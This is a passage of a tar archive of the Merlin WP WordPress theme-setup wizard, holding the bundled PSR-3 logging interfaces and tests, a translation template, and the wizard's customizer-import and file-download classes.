(because they extend another class, etc) can include. * * It simply delegates all log-level-specific methods to the `log` method to * reduce boilerplate code that a simple Logger that does the same thing with * messages regardless of the error level has to implement. */ trait LoggerTrait { /** * System is unusable. * * @param string $message * @param array $context * * @return void */ public function emergency($message, array $context = array()) { $this->log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void */ abstract public function log($level, $message, array $context = array()); } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/Psr/Log/NullLogger.php��������������������������������������������������������0000644�����������������00000001213�15154650146�0014770 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * This Logger can be used to avoid conditional log calls. * * Logging should always be optional, and if no logger is provided to your * library creating a NullLogger instance to have something to throw logs at * is a good way to avoid littering your code with `if ($this->logger) { }` * blocks. */ class NullLogger extends AbstractLogger { /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void */ public function log($level, $message, array $context = array()) { // noop } } �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/Psr/Log/InvalidArgumentException.php������������������������������������������0000644�����������������00000000140�15154650146�0017664 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; class InvalidArgumentException extends \InvalidArgumentException { } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/Psr/Log/LoggerInterface.php���������������������������������������������������0000644�����������������00000005737�15154650146�0015775 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Describes a logger instance. * * The message MUST be a string or object implementing __toString(). * * The message MAY contain placeholders in the form: {foo} where foo * will be replaced by the context data in key "foo". * * The context array can contain arbitrary data. The only assumption that * can be made by implementors is that if an Exception instance is given * to produce a stack trace, it MUST be in a key named "exception". * * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md * for the full interface specification. */ interface LoggerInterface { /** * System is unusable. * * @param string $message * @param array $context * * @return void */ public function emergency($message, array $context = array()); /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()); /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()); /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()); /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()); /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()); /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()); /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()); /** * Logs with an arbitrary level. * * @param mixed $level * @param string $message * @param array $context * * @return void */ public function log($level, $message, array $context = array()); } ���������������������������������merlin/vendor/psr/log/Psr/Log/LoggerAwareTrait.php��������������������������������������������������0000644�����������������00000000615�15154650146�0016126 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Basic Implementation of LoggerAwareInterface. */ trait LoggerAwareTrait { /** * The logger instance. * * @var LoggerInterface */ protected $logger; /** * Sets a logger. * * @param LoggerInterface $logger */ public function setLogger(LoggerInterface $logger) { $this->logger = $logger; } } �������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/Psr/Log/AbstractLogger.php����������������������������������������������������0000644�����������������00000006020�15154650146�0015622 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * This is a simple Logger implementation that other Loggers can inherit from. * * It simply delegates all log-level-specific methods to the `log` method to * reduce boilerplate code that a simple Logger that does the same thing with * messages regardless of the error level has to implement. */ abstract class AbstractLogger implements LoggerInterface { /** * System is unusable. * * @param string $message * @param array $context * * @return void */ public function emergency($message, array $context = array()) { $this->log(LogLevel::EMERGENCY, $message, $context); } /** * Action must be taken immediately. * * Example: Entire website down, database unavailable, etc. This should * trigger the SMS alerts and wake you up. * * @param string $message * @param array $context * * @return void */ public function alert($message, array $context = array()) { $this->log(LogLevel::ALERT, $message, $context); } /** * Critical conditions. * * Example: Application component unavailable, unexpected exception. * * @param string $message * @param array $context * * @return void */ public function critical($message, array $context = array()) { $this->log(LogLevel::CRITICAL, $message, $context); } /** * Runtime errors that do not require immediate action but should typically * be logged and monitored. * * @param string $message * @param array $context * * @return void */ public function error($message, array $context = array()) { $this->log(LogLevel::ERROR, $message, $context); } /** * Exceptional occurrences that are not errors. * * Example: Use of deprecated APIs, poor use of an API, undesirable things * that are not necessarily wrong. * * @param string $message * @param array $context * * @return void */ public function warning($message, array $context = array()) { $this->log(LogLevel::WARNING, $message, $context); } /** * Normal but significant events. * * @param string $message * @param array $context * * @return void */ public function notice($message, array $context = array()) { $this->log(LogLevel::NOTICE, $message, $context); } /** * Interesting events. * * Example: User logs in, SQL logs. * * @param string $message * @param array $context * * @return void */ public function info($message, array $context = array()) { $this->log(LogLevel::INFO, $message, $context); } /** * Detailed debug information. * * @param string $message * @param array $context * * @return void */ public function debug($message, array $context = array()) { $this->log(LogLevel::DEBUG, $message, $context); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/Psr/Log/Test/LoggerInterfaceTest.php������������������������������������������0000644�����������������00000010765�15154650146�0017551 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log\Test; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; /** * Provides a base test class for ensuring compliance with the LoggerInterface. * * Implementors can extend the class and implement abstract methods to run this * as part of their test suite. */ abstract class LoggerInterfaceTest extends \PHPUnit_Framework_TestCase { /** * @return LoggerInterface */ abstract public function getLogger(); /** * This must return the log messages in order. * * The simple formatting of the messages is: "<LOG LEVEL> <MESSAGE>". * * Example ->error('Foo') would yield "error Foo". * * @return string[] */ abstract public function getLogs(); public function testImplements() { $this->assertInstanceOf('Psr\Log\LoggerInterface', $this->getLogger()); } /** * @dataProvider provideLevelsAndMessages */ public function testLogsAtAllLevels($level, $message) { $logger = $this->getLogger(); $logger->{$level}($message, array('user' => 'Bob')); $logger->log($level, $message, array('user' => 'Bob')); $expected = array( $level.' message of level '.$level.' with context: Bob', $level.' message of level '.$level.' with context: Bob', ); $this->assertEquals($expected, $this->getLogs()); } public function provideLevelsAndMessages() { return array( LogLevel::EMERGENCY => array(LogLevel::EMERGENCY, 'message of level emergency with context: {user}'), LogLevel::ALERT => array(LogLevel::ALERT, 'message of level alert with context: {user}'), LogLevel::CRITICAL => array(LogLevel::CRITICAL, 'message of level critical with context: {user}'), LogLevel::ERROR => array(LogLevel::ERROR, 'message of level error with context: {user}'), LogLevel::WARNING => array(LogLevel::WARNING, 'message of level warning with context: {user}'), LogLevel::NOTICE => array(LogLevel::NOTICE, 'message of level notice with context: {user}'), LogLevel::INFO => array(LogLevel::INFO, 'message of level info with context: {user}'), LogLevel::DEBUG => array(LogLevel::DEBUG, 'message of level debug with context: {user}'), ); } /** * @expectedException \Psr\Log\InvalidArgumentException */ public function testThrowsOnInvalidLevel() { $logger = $this->getLogger(); $logger->log('invalid level', 'Foo'); } public function testContextReplacement() { $logger = $this->getLogger(); $logger->info('{Message {nothing} {user} {foo.bar} a}', array('user' => 'Bob', 'foo.bar' => 'Bar')); $expected = array('info {Message {nothing} Bob Bar a}'); $this->assertEquals($expected, $this->getLogs()); } public function testObjectCastToString() { if (method_exists($this, 'createPartialMock')) { $dummy = $this->createPartialMock('Psr\Log\Test\DummyTest', array('__toString')); } else { $dummy = $this->getMock('Psr\Log\Test\DummyTest', array('__toString')); } $dummy->expects($this->once()) ->method('__toString') ->will($this->returnValue('DUMMY')); $this->getLogger()->warning($dummy); $expected = array('warning DUMMY'); $this->assertEquals($expected, $this->getLogs()); } public function testContextCanContainAnything() { $context = array( 'bool' => true, 'null' => null, 'string' => 'Foo', 'int' => 0, 'float' => 0.5, 'nested' => array('with object' => new DummyTest), 'object' => new \DateTime, 'resource' => fopen('php://memory', 'r'), ); $this->getLogger()->warning('Crazy context data', $context); $expected = array('warning Crazy context data'); $this->assertEquals($expected, $this->getLogs()); } public function testContextExceptionKeyCanBeExceptionOrOtherValues() { $logger = $this->getLogger(); $logger->warning('Random message', array('exception' => 'oops')); $logger->critical('Uncaught Exception!', array('exception' => new \LogicException('Fail'))); $expected = array( 'warning Random message', 'critical Uncaught Exception!' ); $this->assertEquals($expected, $this->getLogs()); } } class DummyTest { public function __toString() { } } �����������merlin/vendor/psr/log/Psr/Log/LoggerAwareInterface.php����������������������������������������������0000644�����������������00000000451�15154650146�0016741 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Describes a logger-aware instance. */ interface LoggerAwareInterface { /** * Sets a logger instance on the object. * * @param LoggerInterface $logger * * @return void */ public function setLogger(LoggerInterface $logger); } �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/Psr/Log/LogLevel.php����������������������������������������������������������0000644�����������������00000000520�15154650146�0014427 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Psr\Log; /** * Describes log levels. */ class LogLevel { const EMERGENCY = 'emergency'; const ALERT = 'alert'; const CRITICAL = 'critical'; const ERROR = 'error'; const WARNING = 'warning'; const NOTICE = 'notice'; const INFO = 'info'; const DEBUG = 'debug'; } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/vendor/psr/log/README.md���������������������������������������������������������������������0000644�����������������00000002100�15154650146�0012173 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������PSR Log ======= This repository holds all interfaces/classes/traits related to [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md). Note that this is not a logger of its own. It is merely an interface that describes a logger. See the specification for more details. Usage ----- If you need a logger, you can use the interface like this: ```php <?php use Psr\Log\LoggerInterface; class Foo { private $logger; public function __construct(LoggerInterface $logger = null) { $this->logger = $logger; } public function doSomething() { if ($this->logger) { $this->logger->info('Doing work'); } // do something useful } } ``` You can then pick one of the implementations of the interface to get a logger. If you want to implement the interface, you can require this package and implement `Psr\Log\LoggerInterface` in your code. Please read the [specification text](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) for details. ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/languages/merlin-wp.pot����������������������������������������������������������������������0000644�����������������00000020735�15154650146�0012454 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������# Copyright (C) 2018 Merlin-WP # This file is distributed under the same license as the Merlin-WP package. msgid "" msgstr "" "Project-Id-Version: Merlin-WP\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "Language-Team: Merlin WP\n" "Last-Translator: Rich Tabor <hello@merlinwp.com>\n" "Report-Msgid-Bugs-To: https://merlinwp.com\n" "X-Poedit-Basepath: ..\n" "X-Poedit-KeywordsList: __;_e;_ex:1,2c;_n:1,2;_n_noop:1,2;_nx:1,2,4c;_nx_noop:1,2,3c;_x:1,2c;esc_attr__;esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.js\n" "X-Poedit-SourceCharset: UTF-8\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" #: class-merlin.php:453 msgid "Something went wrong. Please refresh the page and try again!" msgstr "" #: class-merlin.php:599 msgid "Please define default parameters in the form of an array." msgstr "" #: class-merlin.php:604 msgid "Please define an SVG icon filename." msgstr "" #: class-merlin.php:713 msgid "Welcome" msgstr "" #: class-merlin.php:720 msgid "Child" msgstr "" #: class-merlin.php:726 msgid "License" msgstr "" #: class-merlin.php:734 msgid "Plugins" msgstr "" #: class-merlin.php:742, class-merlin.php:1982 msgid "Content" msgstr "" #: class-merlin.php:748 msgid "Ready" msgstr "" #: class-merlin.php:853 msgid "The welcome step has been displayed" msgstr "" #: class-merlin.php:947 msgid "The license activation step has been displayed" msgstr "" #: class-merlin.php:1017 msgid "The child theme installation step has been displayed" msgstr "" #: class-merlin.php:1104 msgid "Required" msgstr "" #: class-merlin.php:1105 msgid "req" msgstr "" #: class-merlin.php:1145 msgid "The plugin installation step has been displayed" msgstr "" #: class-merlin.php:1191 msgid "Select Demo" msgstr "" #: class-merlin.php:1229 msgid "The content import step has been displayed" msgstr "" #: class-merlin.php:1309 msgid "The final step has been displayed" msgstr "" #: class-merlin.php:1386 msgid "The existing child theme was activated" msgstr "" #: class-merlin.php:1403 msgid "The newly generated child theme was activated" msgstr "" #: class-merlin.php:1424 msgid "Yikes! The theme activation failed. Please try again or contact support." msgstr "" #: class-merlin.php:1433 msgid "Please add your license key before attempting to activate one." msgstr "" #: class-merlin.php:1446 msgid "The license activation was performed with the following results" msgstr "" #: class-merlin.php:1492, class-merlin.php:1533 msgid "An error occurred, please try again." msgstr "" #: class-merlin.php:1505 msgid "Your license key expired on %s." msgstr "" #: class-merlin.php:1511 msgid "Your license key has been disabled." msgstr "" #: class-merlin.php:1515 msgid "This appears to be an invalid license key. Please try again or contact support." msgstr "" #: class-merlin.php:1520 msgid "Your license is not active for this URL." msgstr "" #: class-merlin.php:1525 msgid "This appears to be an invalid license key for %s." msgstr "" #: class-merlin.php:1529 msgid "Your license key has reached its activation limit." msgstr "" #: class-merlin.php:1623 msgid "The child theme functions.php content was generated" msgstr "" #: class-merlin.php:1654 msgid "The child theme style.css content was generated" msgstr "" #: class-merlin.php:1688 msgid "The child theme screenshot was copied to the child theme, with the following result" msgstr "" #: class-merlin.php:1690 msgid "The child theme screenshot was not generated, because of these results" msgstr "" #: class-merlin.php:1719 msgid "Activating" msgstr "" #: class-merlin.php:1735 msgid "Updating" msgstr "" #: class-merlin.php:1751, class-merlin.php:1767, class-merlin.php:1985, class-merlin.php:1998, class-merlin.php:2011, class-merlin.php:2024, class-merlin.php:2037, class-merlin.php:2050, class-merlin.php:2093 msgid "Installing" msgstr "" #: class-merlin.php:1759 msgid "A plugin with the following data will be processed" msgstr "" #: class-merlin.php:1771 msgid "A plugin with the following data was processed" msgstr "" #: class-merlin.php:1780, class-merlin.php:1986, class-merlin.php:1999, class-merlin.php:2012, class-merlin.php:2025, class-merlin.php:2038, class-merlin.php:2051 msgid "Success" msgstr "" #: class-merlin.php:1803 msgid "The content importer AJAX call failed to start, because of incorrect data" msgstr "" #: class-merlin.php:1808 msgid "Invalid content!" msgstr "" #: class-merlin.php:1819 msgid "The content import AJAX call will be executed with this import data" msgstr "" #: class-merlin.php:1861 msgid "The content import AJAX call failed with this passed data" msgstr "" #: class-merlin.php:1872 msgid "Error" msgstr "" #: class-merlin.php:1886 msgid "The content importer AJAX call for retrieving total content import items failed to start, because of incorrect data." msgstr "" #: class-merlin.php:1891 msgid "Invalid data!" msgstr "" #: class-merlin.php:1983 msgid "Demo content data." msgstr "" #: class-merlin.php:1984, class-merlin.php:1997, class-merlin.php:2010, class-merlin.php:2023, class-merlin.php:2036, class-merlin.php:2049 msgid "Pending" msgstr "" #: class-merlin.php:1995 msgid "Widgets" msgstr "" #: class-merlin.php:1996 msgid "Sample widgets data." msgstr "" #: class-merlin.php:2008 msgid "Revolution Slider" msgstr "" #: class-merlin.php:2009 msgid "Sample Revolution sliders data." msgstr "" #: class-merlin.php:2021 msgid "Options" msgstr "" #: class-merlin.php:2022 msgid "Sample theme options data." msgstr "" #: class-merlin.php:2034 msgid "Redux Options" msgstr "" #: class-merlin.php:2035 msgid "Redux framework options." msgstr "" #: class-merlin.php:2047 msgid "After import setup" msgstr "" #: class-merlin.php:2048 msgid "After import setup." msgstr "" #: class-merlin.php:2077 msgid "The revolution slider import was executed" msgstr "" #: class-merlin.php:2114 msgid "The home page was set" msgstr "" #: class-merlin.php:2124 msgid "The blog page was set" msgstr "" #: class-merlin.php:2139 msgid "The Hello world post status was set to draft" msgstr "" #: class-merlin.php:2163 msgid "This predefined demo import does not have the name parameter: import_file_name" msgstr "" #: includes/class-merlin-customizer-importer.php:30 msgid "The customizer import has finished successfully" msgstr "" #: includes/class-merlin-customizer-importer.php:57 msgid "Error: The customizer import file is missing! File path: %s" msgstr "" #: includes/class-merlin-customizer-importer.php:70 msgid "Error: The customizer import file does not have any content in it. Please make sure to use the correct customizer import file." msgstr "" #: includes/class-merlin-customizer-importer.php:80 msgid "Error: The customizer import file is not in a correct format. Please make sure to use the correct customizer import file." msgstr "" #: includes/class-merlin-customizer-importer.php:86 msgid "Error: The customizer import file is not suitable for current theme. You can only import customizer settings for the same theme or a child theme." msgstr "" #: includes/class-merlin-downloader.php:49 msgid "The file was not able to save to disk, while trying to download it" msgstr "" #: includes/class-merlin-downloader.php:66 msgid "Missing URL for downloading a file!" msgstr "" #: includes/class-merlin-downloader.php:84 msgid "An error occurred while fetching file from: %1$s%2$s%3$s!%4$sReason: %5$s - %6$s." msgstr "" #: includes/class-merlin-redux-importer.php:32 msgid "The Redux Framework data was imported" msgstr "" #: includes/class-merlin-widget-importer.php:72 msgid "Error: Widget import file could not be found." msgstr "" #: includes/class-merlin-widget-importer.php:83 msgid "Error: Widget import file does not have any content in it." msgstr "" #: includes/class-merlin-widget-importer.php:105 msgid "Error: Widget import data could not be read. Please try a different file." msgstr "" #: includes/class-merlin-widget-importer.php:144 msgid "Sidebar does not exist in theme (moving widget to Inactive)" msgstr "" #: includes/class-merlin-widget-importer.php:165 msgid "Site does not support widget" msgstr "" #: includes/class-merlin-widget-importer.php:198 msgid "Widget already exists" msgstr "" #: includes/class-merlin-widget-importer.php:256 msgid "Imported" msgstr "" #: includes/class-merlin-widget-importer.php:260 msgid "Imported to Inactive" msgstr "" #: includes/class-merlin-widget-importer.php:266 msgid "No Title" msgstr "" #: includes/class-merlin-widget-importer.php:328 msgid "No results for widget import!" msgstr "" �����������������������������������merlin/includes/class-merlin-customizer-option.php��������������������������������������������������0000644�����������������00000000725�15154650146�0016465 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * A class that extends WP_Customize_Setting so we can access * the protected updated method when importing options. * * Used in the Customizer importer. * * @package Merlin WP */ final class Merlin_Customizer_Option extends \WP_Customize_Setting { /** * Import an option value for this setting. * * @since 1.1.1 * @param mixed $value The option value. * @return void */ public function import( $value ) { $this->update( $value ); } } �������������������������������������������merlin/includes/class-merlin-customizer-importer.php������������������������������������������������0000644�����������������00000015414�15154650146�0017017 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class for the customizer importer. * * Code is mostly from the Customizer Export/Import plugin. * * @see https://wordpress.org/plugins/customizer-export-import/ * * @package Merlin WP */ class Merlin_Customizer_Importer { /** * Import customizer from a DAT file, generated by the Customizer Export/Import plugin. * * @param string $customizer_import_file_path path to the customizer import file. */ public static function import( $customizer_import_file_path ) { // Try to import the customizer settings. $results = self::import_customizer_options( $customizer_import_file_path ); // Check for errors, else write the results to the log file. if ( is_wp_error( $results ) ) { Merlin_Logger::get_instance()->error( $results->get_error_message() ); return false; } Merlin_Logger::get_instance()->info( __( 'The customizer import has finished successfully', 'merlin-wp' ) ); return true; } /** * Imports uploaded mods and calls WordPress core customize_save actions so * themes that hook into them can act before mods are saved to the database. * * Update: WP core customize_save actions were removed, because of some errors. * * @since 1.1.1 * @param string $import_file_path Path to the import file. * @return WP_Error */ public static function import_customizer_options( $import_file_path ) { // Setup global vars. global $wp_customize; // Setup internal vars. $template = get_template(); // Make sure we have an import file. if ( ! file_exists( $import_file_path ) ) { return new \WP_Error( 'missing_cutomizer_import_file', sprintf( esc_html__( 'Error: The customizer import file is missing! File path: %s', 'merlin-wp' ), $import_file_path ) ); } // Get the upload data. $raw = file_get_contents( $import_file_path ); // Make sure we got the data. if ( empty( $raw ) ) { return new \WP_Error( 'customizer_import_data_missing_content', esc_html__( 'Error: The customizer import file does not have any content in it. Please make sure to use the correct customizer import file.', 'merlin-wp' ) ); } $data = unserialize( $raw ); // Data checks. if ( ! is_array( $data ) && ( ! isset( $data['template'] ) || ! isset( $data['mods'] ) ) ) { return new \WP_Error( 'customizer_import_data_error', esc_html__( 'Error: The customizer import file is not in a correct format. Please make sure to use the correct customizer import file.', 'merlin-wp' ) ); } if ( $data['template'] !== $template ) { return new \WP_Error( 'customizer_import_wrong_theme', esc_html__( 'Error: The customizer import file is not suitable for current theme. You can only import customizer settings for the same theme or a child theme.', 'merlin-wp' ) ); } // Import images. if ( apply_filters( 'merlin_customizer_import_images', true ) ) { $data['mods'] = self::import_customizer_images( $data['mods'] ); } // Import custom options. if ( isset( $data['options'] ) ) { // Require modified customizer options class. if ( ! class_exists( '\WP_Customize_Setting' ) ) { require_once ABSPATH . 'wp-includes/class-wp-customize-setting.php'; } foreach ( $data['options'] as $option_key => $option_value ) { $option = new Merlin_Customizer_Option( $wp_customize, $option_key, array( 'default' => '', 'type' => 'option', 'capability' => 'edit_theme_options', ) ); $option->import( $option_value ); } } // Should the customizer import use the WP customize_save* hooks? $use_wp_customize_save_hooks = apply_filters( 'merlin_enable_wp_customize_save_hooks', false ); if ( $use_wp_customize_save_hooks ) { do_action( 'customize_save', $wp_customize ); } // Loop through the mods and save the mods. foreach ( $data['mods'] as $key => $val ) { if ( $use_wp_customize_save_hooks ) { do_action( 'customize_save_' . $key, $wp_customize ); } set_theme_mod( $key, $val ); } if ( $use_wp_customize_save_hooks ) { do_action( 'customize_save_after', $wp_customize ); } return true; } /** * Helper function: Customizer import - imports images for settings saved as mods. * * @param array $mods An array of customizer mods. * @return array The mods array with any new import data. */ private static function import_customizer_images( $mods ) { foreach ( $mods as $key => $val ) { if ( self::customizer_is_image_url( $val ) ) { $data = self::customizer_sideload_image( $val ); if ( ! is_wp_error( $data ) ) { $mods[ $key ] = $data->url; // Handle header image controls. if ( isset( $mods[ $key . '_data' ] ) ) { $mods[ $key . '_data' ] = $data; update_post_meta( $data->attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() ); } } } } return $mods; } /** * Helper function: Customizer import * Taken from the core media_sideload_image function and * modified to return an array of data instead of html. * * @param string $file The image file path. * @return array An array of image data. */ private static function customizer_sideload_image( $file ) { $data = new \stdClass(); if ( ! function_exists( 'media_handle_sideload' ) ) { require_once( ABSPATH . 'wp-admin/includes/media.php' ); require_once( ABSPATH . 'wp-admin/includes/file.php' ); require_once( ABSPATH . 'wp-admin/includes/image.php' ); } if ( ! empty( $file ) ) { // Set variables for storage, fix file filename for query strings. preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches ); $file_array = array(); $file_array['name'] = basename( $matches[0] ); // Download file to temp location. $file_array['tmp_name'] = download_url( $file ); // If error storing temporarily, return the error. if ( is_wp_error( $file_array['tmp_name'] ) ) { return $file_array['tmp_name']; } // Do the validation and storage stuff. $id = media_handle_sideload( $file_array, 0 ); // If error storing permanently, unlink. if ( is_wp_error( $id ) ) { unlink( $file_array['tmp_name'] ); return $id; } // Build the object to return. $meta = wp_get_attachment_metadata( $id ); $data->attachment_id = $id; $data->url = wp_get_attachment_url( $id ); $data->thumbnail_url = wp_get_attachment_thumb_url( $id ); $data->height = $meta['height']; $data->width = $meta['width']; } return $data; } /** * Checks to see whether a string is an image url or not. * * @param string $string The string to check. * @return bool Whether the string is an image url or not. */ private static function customizer_is_image_url( $string = '' ) { if ( is_string( $string ) ) { if ( preg_match( '/\.(jpg|jpeg|png|gif)/i', $string ) ) { return true; } } return false; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������merlin/includes/class-merlin-downloader.php���������������������������������������������������������0000644�����������������00000010607�15154650146�0015111 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Class for downloading a file from a given URL. * * @package Merlin WP */ class Merlin_Downloader { /** * Holds full path to where the files will be saved. * * @var string */ private $download_directory_path = ''; /** * Constructor method. * * @param string $download_directory_path Full path to where the files will be saved. */ public function __construct( $download_directory_path = '' ) { $this->set_download_directory_path( $download_directory_path ); } /** * Download file from a given URL. * * @param string $url URL of file to download. * @param string $filename Filename of the file to save. * @return string|WP_Error Full path to the downloaded file or WP_Error object with error message. */ public function download_file( $url, $filename ) { $content = $this->get_content_from_url( $url ); // Check if there was an error and break out. if ( is_wp_error( $content ) ) { Merlin_Logger::get_instance()->error( $content->get_error_message(), array( 'url' => $url, 'filename' => $filename ) ); return $content; } $saved_file = file_put_contents( $this->download_directory_path . $filename, $content ); if ( ! empty( $saved_file ) ) { return $this->download_directory_path . $filename; } Merlin_Logger::get_instance()->error( __( 'The file was not able to save to disk, while trying to download it', 'merlin-wp' ), array( 'url' => $url, 'filename' => $filename ) ); return false; } /** * Helper function: get content from an URL. * * @param string $url URL to the content file. * @return string|WP_Error, content from the URL or WP_Error object with error message. */ private function get_content_from_url( $url ) { // Test if the URL to the file is defined. if ( empty( $url ) ) { return new \WP_Error( 'missing_url', __( 'Missing URL for downloading a file!', 'merlin-wp' ) ); } // Get file content from the server. $response = wp_remote_get( $url, array( 'timeout' => apply_filters( 'merlin_timeout_for_downloading_import_file', 20 ) ) ); // Test if the get request was not successful. if ( is_wp_error( $response ) || 200 !== $response['response']['code'] ) { // Collect the right format of error data (array or WP_Error). $response_error = $this->get_error_from_response( $response ); return new \WP_Error( 'download_error', sprintf( __( 'An error occurred while fetching file from: %1$s%2$s%3$s!%4$sReason: %5$s - %6$s.', 'merlin-wp' ), '<strong>', $url, '</strong>', '<br>', $response_error['error_code'], $response_error['error_message'] ) ); } // Return content retrieved from the URL. return wp_remote_retrieve_body( $response ); } /** * Helper function: get the right format of response errors. * * @param array|WP_Error $response Array or WP_Error or the response. * @return array Error code and error message. */ private function get_error_from_response( $response ) { $response_error = array(); if ( is_array( $response ) ) { $response_error['error_code'] = $response['response']['code']; $response_error['error_message'] = $response['response']['message']; } else { $response_error['error_code'] = $response->get_error_code(); $response_error['error_message'] = $response->get_error_message(); } return $response_error; } /** * Get download_directory_path attribute. */ public function get_download_directory_path() { return $this->download_directory_path; } /** * Set download_directory_path attribute. * If no valid path is specified, the default WP upload directory will be used. * * @param string $download_directory_path Path, where the files will be saved. */ public function set_download_directory_path( $download_directory_path ) { if ( file_exists( $download_directory_path ) ) { $this->download_directory_path = $download_directory_path; } else { $upload_dir = wp_upload_dir(); $this->download_directory_path = apply_filters( 'merlin_upload_file_path', trailingslashit( $upload_dir['path'] ) ); } } /** * Check, if the file already exists and return his full path. * * @param string $filename The name of the file. * * @return bool|string */ public function fetch_existing_file( $filename ) { if ( file_exists( $this->download_directory_path . $filename ) ) { return $this->download_directory_path . $filename; } return false; } } �������������������������������������������������������������������������������������������������������������������������merlin/includes/class-merlin-logger.php�������������������������������������������������������������0000644�����������������00000010550�15154650146�0014227 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * The logger class, which will abstract the use of the monolog library. * More about monolog: 